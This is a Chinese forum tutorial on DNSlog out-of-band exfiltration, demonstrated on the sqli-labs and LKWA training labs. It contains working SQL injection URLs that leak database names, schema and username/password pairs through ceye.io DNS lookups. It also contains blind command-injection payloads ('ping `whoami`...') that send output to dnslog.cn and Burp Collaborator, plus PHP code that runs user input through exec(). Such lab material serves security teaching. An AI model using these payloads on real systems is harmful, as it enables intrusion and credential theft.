用户
搜索
  • TA的每日心情
    开心
    4 天前
  • 签到天数: 21 天

    连续签到: 1 天

    [LV.4]经常看看II

    i春秋-脚本小子

    Rank: 2

    6

    主题

    9

    帖子

    383

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-11-4
    发表于 2021-5-15 20:35:51 02772
    本帖最后由 C1ay666 于 2021-5-15 20:37 编辑

    Dnslog盲注

    1、DNS

    DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过主机名,最终得到该主机名对应的IP地址的过程叫做域名解析(或主机名解析)。DNS协议运行在UDP协议之上,使用端口号53。在RFC文档中RFC 2181对DNS有规范说明,RFC 2136对DNS的动态更新进行说明,RFC 2308对DNS查询的反向缓存进行说明。

    2、Dnslog

    Dnslog就是存储在DNS Server上的域名信息,它记录着用户对域名www.test.comwww.t00ls.com.等网站的访问信息。

    DnsLog盲注

    对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入 使用DnsLog盲注仅限于windos环境。

    dnslog注入常用于如下几种情况:

    1. SQL注入中的盲注
    2. 无回显的命令执行
    3. 无回显的SSRF

    原理图:

    img

    如图,攻击者首先提交注入语句select load_file(concat('\\','攻击语句',.XXX.ceye.io\abc))

    在数据库中攻击语句被执行,由concat函数将执行结果与XXX.ceye.io\\abc拼接,构成一个新的域名,而mysql中的select load_file()可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析

    此时,如果我们可以查看DNS服务器上的Dnslog就可以得到SQL注入结果。那么我们如何获得这条DNS查询记录呢?注意注入语句中的ceye.io,这其实是一个开放的Dnslog平台(具体用法在官网可见),在http://ceye.io上我们可以获取到有关ceye.io的DNS查询信息。实际上在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造的攻击语句也是如此,当它发现域名中存在ceye.io时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。

    3、UNC路径

    以下是百度的UNC路径的解释

    UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。

    其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式

    \sss.xxx\test\

    因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的

    4、通过dnslog实现SQL注入

    这里以sqlilab第一关做演示。

    首先注册一个ceye.io的账号,作为dns注入的平台,http://ceye.io 这是一个免费的记录dnslog的平台,我们注册后到控制面板会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来

    image-20210515192637286

    这里看看Identifier中的结构,Ceye.io 就不用说了,前面的  xxx.ceye.io是你的个人域名。Dns注入最后的效果呢就是在xxx.ceye.io前面显示你注入的结果。例如:你得到的数据库是test,那么效果则是:test.xxxx.ceye.io。

    这里开始我们的注入流程。

    1. 获取数据库名。
    http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\\\',(select database()),'.rjv5di.ceye.io\\abc'))),1,0)--+

    其中load_file()函数发起请求,使用Dnslog接受请求,获取数据。

    运行结果如下:

    image-20210515193114402

    这里可以得到数据库名为security

    1. 获取数据表名
    http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),'.rjv5di.ceye.io\\abc'))),1,0) --+

    image-20210515195116249

    这里可以得到第一张表的表名为email

    通过修改limit的值,即可得到第二张表,后面的就不在演示了。

    image-20210515195244780

    也可以直接通过如下payload获取所有的表名

    http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema=0x7365637572697479 limit 1),'.rjv5di.ceye.io\\abc'))),1,0) --+

    运行结果如下:

    image-20210515202548482

    将获取到的数据进行还原。

    image-20210515202646599

    表名分别为: emails,referers,uagents,users

    1. 获取列名
    http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 1,1),'.rjv5di.ceye.io\\abc'))),1,0) --+

    image-20210515195850230

    获取到列名为username,通过修改limit的值即可得到所有列名。

    也可以直接通过如下payload获取所有的列名

    http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\\\',(select hex(group_concat(column_name)) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 1),'.rjv5di.ceye.io\\abc'))),1,0) --+

    运行结果如下:

    image-20210515201509758

    将得到的数据进行还原

    image-20210515201614109

    列名分别为: id、username、password

    1. 获取字段名
    http://192.168.0.103/sqllabs/Less-1/?id=1' and if((select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.rjv5di.ceye.io\\abc'))),1,0) --+

    因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去

    image-20210515200635541

    将得到的十六进制进行转换,即可得到用户名和密码。

    image-20210515200834175

    5、通过dnslog实现远程命令执行

    这里以LKWA靶场中的blind_rce为例。

    项目地址

    5.1、漏洞代码

    class Rce {
        private $user_input;
        private $level;
        function __construct() {
            // 这里会通过post方式接受传入参数
            $this->user_input = isset($_POST['user_input']) ? $_POST['user_input'] : null;
            $this->level = isset($_POST['level']) ? $_POST['level'] : null;
        }
    
        function start() {
            if (empty($this->user_input)) {
    
            }
    
            else{
                //若接受到的user_input参数不为空,则执行接受到的参数,但没有结果返回
                    exec($this->user_input); 
            }
        }
    }
    
    $rce = new Rce();
    if(!empty($_POST))
    {
        $rce->start();
    }

    5.2、漏洞利用

    方式一:通过burp的Burpsuite Collaborato模块来查看输出。

    Burpsuite Collaborato模块具体介绍和使用可以参考:Burpsuite Collaborato模块详解 - FreeBuf网络安全行业门户

    首先打开burpsuite配置Burpsuite Collaborato服务器

    image-20210515164926752

    然后点击burp,启动Burp Collaborator client

    image-20210515165251423

    点击Copy to clipbooard会得到一个payload

    image-20210515165307918

    在存在远程目录执行的位置执行如下payload。

    ping `whoami`.hcxnn3m1crgnebrhoa3qy1xh88ey2n.burpcollaborator.net

    image-20210515165635859

    然后可以在Burp Collaborator client中点击Poll now 即可得到命令返回的结果。

    image-20210515165753686

    方式二、通过dnslog在线网站显示输出

    首先到http://www.dnslog.cn/获取一个subdomain

    image-20210515170153404

    然后在存在远程命令执行的位置执行如下payload。

    ping `whoami`.yor4p0.dnslog.cn

    image-20210515170214742

    然后点击Refresh Record即可得到命令返回的结果

    image-20210515170259039

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册